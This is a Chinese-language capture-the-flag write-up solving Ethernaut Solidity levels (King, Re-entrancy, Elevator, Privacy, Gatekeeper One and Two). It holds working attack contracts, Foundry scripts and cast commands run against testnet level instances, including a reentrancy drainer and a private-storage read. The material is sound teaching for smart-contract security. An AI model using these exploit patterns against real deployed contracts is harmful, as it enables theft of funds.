    • 如果旧 king 的回退函数 revert() 或因为其他原因导致转账失败,那么 transfer 会失败并导致当前 King.receive() 整体 revert,更新 king 的代码永远不会执行。
    • 如果旧 king 是 EOA 或者合约正确接收(不 revert),transfer 成功,函数继续执行。
  3. 在第 2 步成功之后,才会更新状态 king = msg.sender; prize = msg.value;,把 msg.sender 设为新的 king(msg.sender 在这个调用里就是发起者的地址;如果是合约发起者,哪怕它还在构造中,这个地址也是确定的)。

King_EXP.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;

contract King_EXP {
constructor(address kingAddr) payable {
(bool sent, ) = kingAddr.call{value: msg.value}("");
require(sent, "fail");
}

// receive() external payable {
// revert("kneel");
// }
}

在合约账户中,如果收到以太且合约中没有回调函数,对于 transfer 会自动 revert,所以这里的 receive() 可略。或者可以利用 >2300 gas 触发 revert。固定 2300 gas,写入消耗 gas > 0,大于 2300 gas,触发 revert。

1
2
3
4
uint256 heavy = 1;
receive() external payable {
heavy = 1; // SSTORE(Storage Store):从 0 -> 非0,耗费 gas(大于2300)
}
1
2
3
4
5
6
await contract.owner()
'0x3049C00639E6dfC269ED1451764a046f7aE500c6'
await contract._king()
'0x3049C00639E6dfC269ED1451764a046f7aE500c6'
(await contract.prize()).toString()
'1000000000000000'

转入 1000000000000001 wei 即可。1000000000000000 wei == 1 finney。

image.png

1
2
3
4
(await contract.prize()).toString()
'1000000000000001'
await contract._king()
'0x2e119fEDd802E5f5d7dd8Bf8fd221dEcb5463dEF'

Re-entrancy

这一关的目标是偷走合约的所有资产。

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约

Beyond the console,有些关卡需要在控制台之外的操作。比如,用 solidity 写一些代码,部署合约在网络上,然后攻击实例。这可以通过很多方式完成, 比如:

  1. 使用 Remix 写代码并部署在相应的网络上。参见 Remix Solidity IDE
  2. 设置一个本地 truffle 项目,开发并部署攻击合约。参见 Truffle Framework

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT  
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

Memo

Reentrancy

重入攻击指的是:合约在给外部地址发送以太/代币或调用外部合约时,外部合约通过回调再次进入(re-enter)当前合约的函数,从而在合约内部状态尚未正确更新前重复执行关键逻辑,达到窃取资金或绕过检查的目的。

1
2
3
4
5
6
7
8
9
// 易受重入的伪代码示例
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount);
// 1) 外部交互:直接发送以太
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok);
// 2) 状态更新:余额才减少 —— 顺序错误!
balances[msg.sender] -= amount;
}

问题在于:发送(外部交互)在前,状态更新在后。对方合约在收到以太后可以回调 withdraw 再次通过 require,因为 balances 尚未减少。

Solution

解析

  1. 外部调用在前
    (bool result,) = msg.sender.call{value: _amount}(""); 可能触发接收方合约的 receive() 或 fallback() 回调。
  2. 状态更新在后
    balances[msg.sender] -= _amount; 只有在发送完成后执行。
    攻击者可以在回调中再次调用 withdraw(),因为 balances[msg.sender] 还没减少,所以可以重复提取。
1
2
3
4
5
6
7
8
9
10
11
function withdraw(uint256 _amount) public {  
if (balances[msg.sender] >= _amount) {
// 外部调用在前
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
// 状态更新在后
balances[msg.sender] -= _amount;
}
}

Foundry Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// script/Deploy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
function balanceOf(address _who) external view returns (uint256);
}

contract Reentrancy_exp {
IReentrance public target;
address public owner;

constructor(address payable _target) public {
target = IReentrance(_target);
owner = msg.sender;
}

function attack() external payable {
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}

receive() external payable {
uint256 targetBalance = address(target).balance;
if (targetBalance > 0) {
uint256 withdrawAmount = msg.value < targetBalance ? msg.value : targetBalance;
target.withdraw(withdrawAmount);
}
}

function collect() external {
require(msg.sender == owner);
payable(owner).transfer(address(this).balance);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// script/Deploy.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;

import "forge-std/Script.sol";
import "src/Reentrancy_exp.sol";

contract deployReentrancy_exp is Script {
function run() external {
address targetAddr = 0xBB849Fd3390dB7F13065d32eE3B205cf3dA47cB5;
uint256 donateValue = 0.01 ether;

uint256 deployerKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerKey);

Reentrancy_exp exp = new Reentrancy_exp(payable(targetAddr));
exp.attack{value: donateValue}();
exp.collect();

console.log("Target Balance:", address(targetAddr).balance);

vm.stopBroadcast();
}
}

查看关卡余额。

1
2
await getBalance(instance)
'0.01'

本地模拟测试(在本地复制区块链网状态的一条“模拟链”)。

1
2
3
4
5
6
7
8
9
% forge script script/Deploy.sol:deployReentrancy_exp --fork-url $SEPOLIA_RPC_URL

== Logs ==
Contract Address: 0x75994237012406E6D1722Aae29F553E0ACaFCC17
attack called with: 10000000000000000
collect called
Target Balance: 0

...

广播合约,攻击关卡实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
% forge script script/Deploy.sol:deployReentrancy_exp --rpc-url $SEPOLIA_RPC_URL

...

##### sepolia
✅ [Success] Hash: 0x5c6a049978bb6ab73e713ed4301ff9f0f4b640eea8df11fa85d33572bb7ce0a3
Contract Address: 0x75994237012406E6D1722Aae29F553E0ACaFCC17
Block: 9352677
Paid: 0.000000338450445746 ETH (338443 gas * 0.001000022 gwei)


##### sepolia
✅ [Success] Hash: 0xe706ba32d08f8f11f66d0c17e9687903e50bbcd7c8a690fb65ed35c6cde2943b
Block: 9352677
Paid: 0.000000072317590952 ETH (72316 gas * 0.001000022 gwei)


##### sepolia
✅ [Success] Hash: 0x50ffb13170faa1bbad8ab161ddb07db5425123a8ecf9d12cda522528c4961561
Block: 9352677
Paid: 0.000000030464670208 ETH (30464 gas * 0.001000022 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.000000441232706906 ETH (441223 gas * avg 0.001000022 gwei)

...

查看关卡余额。

1
2
await getBalance(instance)
'0'

Elevator

电梯不会让你达到大楼顶部,对吧?

这可能有帮助:

  • 有的时候 solidity 不是很擅长保存 promises
  • 这个电梯期待被用在一个建筑里

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Memo

interface

interface 只是告诉编译器如何编码/解码调用数据和返回值。真正执行的是目标地址上的合约代码。如下:

1
2
3
interface ExternalContract {
function functionName(Args) external returns (Args);
}
1
2
3
4
5
Contract AttackContract {
function functionName(Args) external returns (Args) {
// Customization
}
}

当合约调用外部合约时,实际上是调用了外部合约(玩家自定义合约)的同名函数。

攻击合约只要对外暴露与 Building 接口完全相同的函数签名 functionName(Args) external returns (Args)(并且可被攻击的目标合约调用的可见性,public/external 都可以)。运行时 Solidity 只看函数选择子(selector)和合约地址,不看接口/合约名。

Solution

goTo(uint256 _floor) 函数中,需要验证 if 函数,才能对 top 赋值。

  • 第一次调用,返回值 !(false) == true
  • 第一次调用,返回值 top = true
1
2
3
4
5
6
7
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) { // 第一次调用,返回值取反作为判断条件
floor = _floor;
top = building.isLastFloor(floor); // 第二次调用,返回值赋值给 top
}
}

Foundry Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// src/BuildingExp.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
function goTo(uint256 _floor) external;
}

contract BuildingExp {
bool public toggle = true;
IElevator public target;

constructor(address _target) {
target = IElevator(_target);
}

function attack(uint256 _floor) external {
target.goTo(_floor);
}

function isLastFloor(uint256) external returns (bool) {
toggle = !toggle;
return toggle;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// script/BuildingExp.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "src/BuildingExp.sol";

contract BuildingExpScript is Script {
function run() external {
address targetAddr = 0xf7eD8D27A9169C2272150F119c4d558029301317;

uint256 deployKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployKey);

BuildingExp exp = new BuildingExp(targetAddr);
exp.attack(0);

vm.stopBroadcast();
}
}

fork 本地测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 % forge script script/BuildingExp.s.sol:BuildingExpScript --fork-url $SEPOLIA_RPC_URL -vvvv  

Simulated On-chain Traces:

[200460] → new BuildingExp@0xb30D4E03c545D21f0cB856725d201cEbd1880b9C
└─ ← [Return] 887 bytes of code

[16174] BuildingExp::attack(0)
├─ [10566] 0xf7eD8D27A9169C2272150F119c4d558029301317::goTo(0)
│ ├─ [3947] BuildingExp::isLastFloor(0)
│ │ └─ ← [Return] false // 第一次调用 false
│ ├─ [1147] BuildingExp::isLastFloor(0)
│ │ └─ ← [Return] true // 第二次调用 true
│ └─ ← [Stop]
└─ ← [Stop]

...

广播合约,攻击关卡实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
% forge script script/BuildingExp.s.sol:BuildingExpScript --rpc-url $SEPOLIA_RPC_URL --broadcast -vvvv 

##### sepolia
✅ [Success] Hash: 0xfc1c77a7f87440f3461184b78637c1e3bfe5ced2fde89087c173ce3c3c70a626
Block: 9354583
Paid: 0.000000031382725955 ETH (31381 gas * 0.001000055 gwei)


##### sepolia
✅ [Success] Hash: 0x392941f71f91e4c3e55ddb4ac3048f0538bd4c4f298364b2829b0af1aaf01a7c
Contract Address: 0x89AF74f8d98Aa6371fB25377c108f9018D8fBf1f
Block: 9354583
Paid: 0.000000271291920235 ETH (271277 gas * 0.001000055 gwei)

✅ Sequence #1 on sepolia | Total Paid: 0.00000030267464619 ETH (302658 gas * avg 0.001000055 gwei)
1
2
% cast call 0xf7eD8D27A9169C2272150F119c4d558029301317 "top()(bool)" --rpc-url $SEPOLIA_RPC_URL
true

Privacy

这个合约的制作者非常小心的保护了敏感区域的 storage,解开这个合约来完成这一关。

这些可能有帮助:

  • 理解 storage 的原理
  • 理解 parameter parsing 的原理
  • 理解 casting 的原理

Tips: 记住 metamask 只是个普通的工具. 如果它有问题,可以使用别的工具。 进阶的操作应该包括 remix,或是你自己的 web3 提供者。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Memo

Storage

Solidity 把状态变量(storage)按声明顺序分配到 32 字节的 storage slot(slot 从 0 开始),基本规则:

  1. 顺序:按声明顺序分配(父合约的变量先于子合约;多重继承遵循线性化顺序)。
  2. slot 大小 / packing:
    • 每个 slot 是 32 字节(256 bit)。
    • 小于 32 字节的连续基础类型会尽可能打包到同一个 slot,从低位(right/least-significant)向高位填充,直到满了才进入下一个 slot。
    • 例如 uint128 a; uint128 b; 可以共用一个 slot(a 在低 128 位,b 在高 128 位)。
  3. 哪些不打包:
    • mapping、dynamic array、string、bytes 不占用顺序 slot;它们在 slot p 存放元数据(比如长度或空值),实际数据位置由 keccak256 计算得到(见下)。
  4. 地址尺寸:address 占 20 字节(160 bit)。两个 address 相加为 40 字节 > 32 字节,因此不能放在同一 slot,分别占 slot n 和 slot n+1。
  5. 布尔/小类型:多个 bool / uint8 等可以打包在一起,直到累积 >=32 字节才换 slot。

以太坊的 ABI(Application Binary Interface)规定:所有函数参数(包括静态类型)在编码时,都要按 32 字节(256 bit) 对齐。

在 Solidity(和以太坊)里,1 字节(byte) = 8 位(bits) = 2 个十六进制字符(hex)。

Solution

根据 Storage 规则,给变量编号。

1
2
3
4
5
6
bool public locked = true;                // slot 0x0, 最低位(LSB)
uint256 public ID = block.timestamp; // slot 0x1, 整个 slot(32 bytes)
uint8 private flattening = 10; // slot 0x2, byte offset 0 (LSB)
uint8 private denomination = 255; // slot 0x2, byte offset 1
uint16 private awkwardness = uint16(...); // slot 0x2, byte offsets 2-3
bytes32[3] private data; // slot 0x3、0x4、0x5: data[0], data[1], data[2]

使用 Foundry 工具 cast 与合约交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
% cast storage 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 0x5 --rpc-url $SEPOLIA_RPC_URL 
0x72422ce075e398ab445b266af50702b55a5f631507a6c774cf93f90fd545f9d1

% cast send 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 "unlock(bytes16)" 0x72422ce075e398ab445b266af50702b5 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

blockHash 0xcb1a4ac78fd7817028d1ec6aa12018e30d632b9909de95499831d0cc8eb21c68
blockNumber 9355093
contractAddress
cumulativeGasUsed 10594029
effectiveGasPrice 1000031
from 0xFa1490340AAA139B8402d13c9f54e6738EF22bC3
gasUsed 24025
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0xaf2f0d17853a3e03fb199c46339cd83c845bcf702ff6fb0f13664a0ea6f15d54
transactionIndex 70
type 2
blobGasPrice
blobGasUsed
to 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7

% cast call 0x2ef950B55837E5785A8f50704F880A8E3A3D7dE7 "locked()" --rpc-url $SEPOLIA_RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000

或使用 Web3.js 函数 getStorageAt

1
await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34))

Gatekeeper One

越过守门人并且注册为一个参赛者来完成这一关。

这可能有帮助:

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Memo

gasleft

在 Solidity 官方文档(Units and Global Variables)里,gasleft() 是一个全局函数,返回当前调用上下文中剩余的 gas 数量。

1
function gasleft() returns (uint256)

返回值: 当前执行时还剩多少 gas(uint256)。

Solution

GatekeeperOne 三道门:

  1. gateOne: require(msg.sender != tx.origin) —— 必须通过合约中转(不能直接用 EOA 调用)。
  2. gateTwo: require(gasleft() % 8191 == 0) —— 在合约内部调用 enter 时,剩余 gas 对 8191 取模为 0。需要在 attacker 合约里用不同的 gas stipend 反复尝试,直到满足。
  3. gateThree(bytes8 _gateKey) 包含三条判断(等价推导):
    • uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)) → lower 32 bits == lower 16 bits ⇒ bits 16–31 必须是 0。
    • uint32(uint64(_gateKey)) != uint64(_gateKey) → lower 32 bits != full 64 bits ⇒ 高 32 bits 非 0。
    • uint32(uint64(_gateKey)) == uint16(tx.origin) → lower 32 bits 等于 tx.origin 的低 16 位。

构造 key 的思路是:

  • 令 lower16 = uint16(tx.origin);
  • 令 lower32 = lower16(因此 bits16-31 = 0);
  • 高 32 bits 必须非零(随便置一个非零值,比如 1 << 32)。
1
key =  bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));

Foundry Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";

interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneExp {
IGatekeeperOne public target;

constructor(address _target) {
target = IGatekeeperOne(_target);
}

function attack() public {
bytes8 key = bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));
for (uint256 i = 0; i < 8191; i++){
uint256 amountGas = 8191 * 2 + j;
(bool ok, ) = address(target).call{gas: amountGas}(abi.encodeWithSelector(IGatekeeperOne.enter.selector, key));
if (ok) {
console.log(amountGas);
return;
}
}
}
}

先 fork 到符合的值,8447 = 8191 + 256(n * 8191 + 256 都可,why 256,==mark==)。

1
2
3
4
5
6
7
8
9
10
11
12
13
% forge script src/GatekeeperOneExp.s.sol:GatekeeperOneExpScript --fork-url $SEPOLIA_RPC_URL -vvvv

...

├─ [338] GatekeeperOne::enter(0x0000000100002bc3)
│ └─ ← [Revert] EvmError: Revert
├─ [2763] GatekeeperOne::enter(0x0000000100002bc3)
│ └─ ← [Return] true
├─ [0] console::log(8447) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]

...

修改代码,广播交易。

1
2
3
4
5
function attack() public {
bytes8 key = bytes8((uint64(1) << 32) | uint64(uint16(uint160(tx.origin))));
uint256 amountGas = 8447;
(bool ok, ) = address(target).call{gas: amountGas}(abi.encodeWithSelector(IGatekeeperOne.enter.selector, key));
}
1
forge script src/GatekeeperOneExp.s.sol:GatekeeperOneExpScript --rpc-url $SEPOLIA_RPC_URL --broadcast -vvvv

验证 entrant 值。

1
2
 % cast call 0xa18B1087E573ce53955FF8fbcF556b0bF69B4754 "entrant" --rpc-url $SEPOLIA_RPC_URL  
0xFa1490340AAA139B8402d13c9f54e6738EF22bC3

Gatekeeper Two

这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关

这可能有帮助:

  • 想一想你从上一个守门人那学到了什么。
  • 第二个门中的 assembly 关键词可以让一个合约访问非原生的 vanilla solidity 功能. 参见 Solidity Assembly 。extcodesize 函数可以用来得到给定地址合约的代码长度 - 你可以在这个页面学习到更多 yellow paper
  • ^ 符号在第三个门里是位操作 (XOR), 在这里是代表另一个常见的位操作 (参见 Solidity cheatsheet)。Coin Flip 关卡也是一个很好的参考。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Memo

assembly

Solidity 提供的内联汇编块 assembly { ... } ,允许你直接使用 EVM opcode 或做更底层的操作。用于访问 Solidity 暴露得不够直接或需要更高效/精细控制的能力(例如读取 calldata、手工编码、节省 gas、调用低级 opcode)。

1
2
3
4
5
assembly {
// EVM 风格的操作
let x := add(1, 2) // x = 3
sstore(0x0, x) // 存 storage slot 0
}

CALLER 

  • caller() 在 assembly 中对应 EVM 的 CALLER opcode。
  • 返回当前执行上下文的直接调用者(等同于 Solidity 的 msg.sender)。返回值是 32 字节,可直接赋给 address 或 uint256。
1
2
address a;
assembly { a := caller() }

EXTCODESIZE

  • extcodesize(addr) 对应 EVM 的 EXTCODESIZE,返回 addr 上 runtime code 的字节长度(uint256)。
  • 重要特性:只看 runtime code(不包含构造期的 init code)。
    `
    1
    2
    uint256 size;
    assembly { size := extcodesize(caller()) } // 获取调用者的 code size

在合约构造函数执行期间,该合约的 runtime code 还未写进区块链(address(this).code.length 在构造期间为 0)。

Solution

GatekeeperTwo 三道门:

  1. gateOne: require(msg.sender != tx.origin)
    • 当构造器中合约调用 enter 时,目标合约的 msg.sender 是攻击合约地址,tx.origin 是部署该攻击合约的 EOA,因此不等,Gate1 通过。
  2. gateTwo: extcodesize(caller()) == 0(assembly
    • 在合约构造函数执行期间,部署中合约的 runtime code 还没被写到链上,extcodesize(address_of_this_contract) 为 0。因此在 constructor 里调用目标满足 extcodesize == 0
  3. gateThree: uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max
    • 在目标里 msg.sender 会是攻击合约地址(构造器内调用时),所以我们用 address(this)(攻击合约地址)算出 key = uint64(keccak256(...)),并取反 _gateKey = ~key,两者异或得 0xFFFFFFFFFFFFFFFF,Gate3 通过。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoExp {
constructor(address _target) {
uint64 gateKey = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
IGatekeeperTwo(_target).enter(bytes8(~gateKey));
}
}

⬆︎TOP